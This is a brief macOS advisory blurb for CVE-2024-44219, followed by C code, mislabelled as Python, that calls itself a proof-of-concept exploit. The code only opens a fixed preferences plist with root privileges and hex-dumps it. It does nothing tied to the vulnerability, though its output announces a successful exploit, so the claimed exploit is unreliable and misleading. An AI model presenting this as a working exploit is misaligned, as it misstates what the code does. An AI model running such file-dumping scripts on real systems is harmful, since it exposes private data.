A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.1. A malicious application with root privileges may be able to access private information.
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2024-44219
* Description: This C code demonstrates how a malicious application with root privileges
* could potentially access private information on a vulnerable macOS version < 15.1.
* Compile: gcc -o poc_cve_2024_44219 poc_cve_2024_44219.c
* Usage: sudo ./poc_cve_2024_44219
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simulate accessing a sensitive private file path
// In a real scenario, this would be a protected user directory or system database
#define TARGET_PRIVATE_FILE "/Library/Preferences/com.apple.security.otp.plist" // Example sensitive path
int main() {
printf("[+] Attempting to read private information on macOS Sequoia < 15.1...\n");
FILE *fp = fopen(TARGET_PRIVATE_FILE, "rb");
if (fp == NULL) {
printf("[-] Failed to access %s. Patch may be applied or permission denied.\n", TARGET_PRIVATE_FILE);
return 1;
}
printf("[+] Successfully opened private file: %s\n", TARGET_PRIVATE_FILE);
printf("[+] Dumping content (hex):\n");
unsigned char buffer[16];
size_t bytesRead;
while ((bytesRead = fread(buffer, 1, sizeof(buffer), fp)) > 0) {
for(size_t i = 0; i < bytesRead; i++) {
printf("%02x ", buffer[i]);
}
printf("\n");
}
fclose(fp);
printf("[+] Exploit finished.\n");
return 0;
}